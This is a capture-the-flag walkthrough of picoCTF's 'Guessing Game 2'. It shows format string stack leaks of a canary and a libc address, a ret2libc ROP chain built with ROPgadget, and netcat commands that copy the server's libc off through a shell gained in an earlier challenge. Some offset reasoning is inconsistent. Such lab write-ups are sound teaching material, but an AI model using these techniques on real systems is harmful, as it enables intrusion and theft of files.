Description
The sequel to Guessing Game 1 with much stronger protections: 32-bit, Full RELRO, stack canary, NX, no PIE.
The binary has a format string vulnerability and a buffer overflow. get_random() returns the address of rand() mod 4096, not an actual random number.
Setup
Download the binary and Makefile from the challenge page.
Install pwntools: pip install pwntools
Install ROPgadget: pip install ROPgadget
pip install pwntools ROPgadgetSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Read the Makefile and understand get_randomObservationI noticed the Makefile compiled with -m32, Full RELRO, and a stack canary, and the source showed get_random() returning the address of rand() itself mod 4096 rather than calling rand(), which suggested the 'random' guess could be derived deterministically from objdump output rather than brute-forced.The Makefile shows: 32-bit (-m32), Full RELRO (libc is loaded read-only so the GOT cannot be overwritten), and a stack canary is present. The source shows that get_random() returns the address of the rand() function itself mod 4096, not the output of rand(). Use objdump to find rand's address in the binary, take the last 12 bits, apply two's complement to get the value as a signed number, then subtract 1 (the program adds 1 before printing the target).bashobjdump -d ./vuln | grep -A 2 '<rand@'Expected output
picoCTF{p0p_r0p_4nd_dr0p_1t_...}What didn't work first
Tried: Sending 'rand()' output by running rand() locally and using that value as the guess
get_random() does not call rand() and read its return value - it returns the address of the rand symbol itself modulo 4096. Running rand() on your local machine gives a different number entirely. The correct value is derived from objdump: find where rand is mapped in libc, take the last 12 bits, interpret as two's complement, then subtract 1 to account for the +1 the program applies.
Tried: Using readelf -s on the binary to find rand's address instead of objdump
readelf -s on the challenge binary shows rand as an undefined external symbol with address 0x0 because it is resolved at runtime via the PLT/GOT. objdump -d on the binary shows the PLT stub for rand, but the actual runtime address comes from the libc that gets loaded. The offset to use is rand's offset within libc, which you can find with 'readelf -s libc-2.27.so | grep " rand"' on the stolen libc file.
Learn more
Because get_random() computes
(address of rand) % 4096, the result depends on where rand is located in memory, not on any random state. The address of rand in libc has a known last three nibbles. For example, if rand is at offset0x30fe0in libc, then the last 12 bits are0xfe0. Since the high nibble is f (leading 1 in binary), this represents a negative number in two's complement. Subtracting from 4096 gives 32, so the value is -32. The program adds 1, so the input to send is -31.Martin uses objdump to find rand's address offset and derives the input of -31 using this method. You can also brute-force it: only about 8192 possibilities exist (positive and negative values mod 4096).
Step 2
Find your input's position on the stack with the format string bugObservationI noticed the binary passes user input directly to printf() without a format string argument, which is a classic format string vulnerability and suggested using %n$p specifiers to walk the stack and locate the buffer's starting position.The binary passes user input directly to printf() with no format string, creating a format string vulnerability. Walk up the stack with %1$p, %2$p, ... until you see your input bytes (e.g., 0x41414141 for 'AAAA'). Martin finds them at position 7.pythonpython3 -c "print('%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p')" | nc <host> <port>What didn't work first
Tried: Using %s instead of %p to walk the stack and find the input buffer position
%s treats the stack value as a pointer to a C string and tries to dereference it - most stack slots hold non-string addresses and the process segfaults or the connection drops before you see your input bytes. %p prints the raw pointer value, which is what you need to identify your AAAA marker (0x41414141) among the output.
Tried: Sending AAAA without a format specifier and reading the raw output to find your offset
Without a format specifier, printf treats the input as a literal string and prints it back unchanged - the vulnerability is only triggered when the input contains %p or similar specifiers that cause printf to read off the stack. You must include format specifiers in the same string to see stack values.
Learn more
A format string vulnerability occurs when user-controlled data is passed as the first argument to printf(). The
%pspecifier reads the next argument off the stack and prints it as a pointer. The%n$psyntax targets the nth argument directly.Martin's input 'aaa...' appears at position 7 on the stack. This is the anchor point: the buffer starts at parameter 7, and knowing the buffer size (512 bytes = 128 four-byte slots), the canary should be at parameter 7 + 128 = 135.
Step 3
Leak the stack canary at parameter 135ObservationI noticed the buffer is 512 bytes on a 32-bit system (128 four-byte slots) and the buffer starts at parameter 7, which suggested the canary sits at parameter 135 (7 + 128) and the libc return address further up the stack can be leaked in the same format string request to defeat ASLR.Since the buffer is 512 bytes and each stack slot is 4 bytes on a 32-bit system, the canary sits 128 slots above the buffer start (position 7), so at parameter 135. Leak it with a single format string request. Also leak the libc base address at parameter 147, which holds the return address from __libc_start_main.pythonpython3 -c "print('%135$p|%147$p')" | nc <host> <port>What didn't work first
Tried: Calculating the canary position as buffer_size / 4 + 1 = 129 instead of buffer_start + buffer_size / 4
The canary offset must be added to the buffer's starting parameter position, not computed from size alone. The buffer starts at parameter 7 (found in the previous step), so the canary is at 7 + 512/4 = 7 + 128 = 135. Using just 129 (128 + 1) skips the base offset and reads a different stack slot, giving a wrong value that causes __stack_chk_fail when you replay it in the overflow.
Tried: Leaking the libc address at parameter 135 + 12 = 147 by guessing 12 slots of saved registers on a 64-bit layout
This binary is 32-bit (-m32), so each stack slot is 4 bytes, not 8. The 12-byte gap between the canary and the return address translates to 3 four-byte slots, putting the return address at parameter 138 in a local analysis - but Martin's actual measurement places __libc_start_main's return at 147. Use the measured value from your live leak, not a theoretical calculation, because compiler-generated frame padding can add extra slots.
Learn more
A stack canary is a random value placed between the local variables and the saved return address at function entry. Before returning, the compiler checks it; if changed, the program calls __stack_chk_fail() and terminates. Leaking it via format string lets you include the original value in your overflow payload, bypassing the check.
Parameter 147 holds the return address of __libc_start_main inside libc. Subtracting the known static offset of that symbol from its leaked runtime value gives the libc base address, from which all other libc symbols can be located despite ASLR.
Full RELRO prevents overwriting the GOT, so a classic GOT overwrite is not possible here. Instead, the canary leak plus ret2libc via a ROP chain is the path forward.
Step 4
Steal the server's libc to get accurate offsetsObservationI noticed that Full RELRO blocks GOT overwrites and the small challenge binary lacks enough ROP gadgets, which suggested exfiltrating the exact libc binary from the server (using the shell from Guessing Game 1 and netcat) to get byte-accurate offsets for a ret2libc ROP chain.Run ROPgadget on the binary itself fails because there are not enough gadgets. The gadgets must come from libc. Use the shell gained from Guessing Game 1 to exfiltrate the exact libc version from the server (glibc 2.27-3 on Ubuntu). Transfer the file to your machine with netcat, then run ROPgadget on it to build a working ROP chain.bashnc -l -p 63921 > libc-2.27.sobashnc jupiter.challenges.picoctf.com 63921 < /lib/i386-linux-gnu/libc-2.27.sobashROPgadget --binary libc-2.27.so --ropWhat didn't work first
Tried: Running ROPgadget on the challenge binary itself to build the ROP chain instead of on libc
The challenge binary is small and stripped of most gadgets - ROPgadget finds only a handful of ret and pop instructions, not enough to build a working execve chain. libc is a large shared library containing virtually every gadget pattern needed. You must run ROPgadget against the stolen libc-2.27.so, then add the computed libc base address to each offset at runtime.
Tried: Downloading a matching libc from libc.rip or the Ubuntu package archive instead of stealing it from the server
Ubuntu builds the same glibc version multiple times as patch releases (e.g. glibc 2.27-3ubuntu1 vs 2.27-3ubuntu1.2), and internal symbol offsets differ between patch revisions. A library that matches the version string but not the exact build will produce wrong offsets, causing the ROP chain to jump into garbage. Copying the actual binary from the server with netcat is the only way to guarantee byte-for-byte accuracy.
Learn more
Different libc builds have different internal offsets. The challenge provides a libc identifier hint, but rather than trying to match library databases, Martin uses the working shell from Guessing Game 1 to copy the actual libc binary off the server with netcat. This guarantees the offsets match exactly.
ROPgadget can build a full execve('/bin/sh') chain from libc because libc contains every gadget needed. The generated chain uses
pack()calls which you replace withp32()in your pwntools script, then add the computed libc base address to each offset.Step 5
Send the exploit: guess -31, leak canary and libc, overflow with ROP chainObservationI noticed all primitives were now in place: the deterministic guess (-31), the leaked canary at parameter 135, and the libc base from parameter 147, which suggested assembling a pwntools script that chains all three steps in sequence and sends a 32-bit ROP chain with the correct stack layout (512 bytes padding, canary, 12-byte filler, then chain).Connect with pwntools. Send -31 as the guess. Send the format string '%135$p|%147$p' to leak the canary and libc return address. Parse the two hex values, compute the libc base. Then send the overflow payload: 512 bytes of padding + canary + 12 bytes (padding to return address) + the 32-bit ROP chain with libc base added to each address.pythonpython3 exploit.pyWhat didn't work first
Tried: Using p64() instead of p32() to pack the ROP chain addresses
The binary is compiled with -m32 and runs as a 32-bit process, so addresses are 4 bytes wide. p64() packs 8-byte little-endian values, doubling the size of each address in the payload and misaligning every subsequent gadget offset. The result is that the first ROP gadget is corrupted and execution jumps to a nonsense address. Always match the pack size to the binary's word width.
Tried: Sending a 524-byte payload (512 + canary + return address) and skipping the 12-byte filler between canary and return address
The 32-bit stack frame stores the saved EBP and possibly other callee-saved registers between the canary and the return address, adding 12 bytes (3 four-byte slots). Omitting them means the ROP chain overwrites EBP and those registers instead of the actual return address, so when the function epilogue executes 'ret' the stack pointer is wrong and execution goes somewhere unexpected.
Learn more
The stack layout from the buffer is: 512 bytes of buffer, the 4-byte canary, then 12 more bytes of saved registers before reaching the return address. The payload must fill all slots in order: padding, correct canary, 12 bytes filler, then the ROP chain.
pwntools
p32()packs 32-bit addresses in little-endian order as required by x86 (32-bit). The ROP chain was produced by ROPgadget from the stolen libc, with pack() replaced by p32(), and the libc base address added to each offset to get the actual runtime addresses.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{p0p_r0p_4nd_dr0p_1t_...}
The flag body is p0p_r0p_4nd_dr0p_1t (ROP theme), followed by a per-instance hash suffix that differs across server instances. get_random() returns the address of rand() mod 4096, not a random number. The input -31 is derived from rand's address offset in libc. The canary is at format string parameter 135, the libc return address at 147. The ROP chain comes from the libc binary stolen from the server using the Guessing Game 1 shell.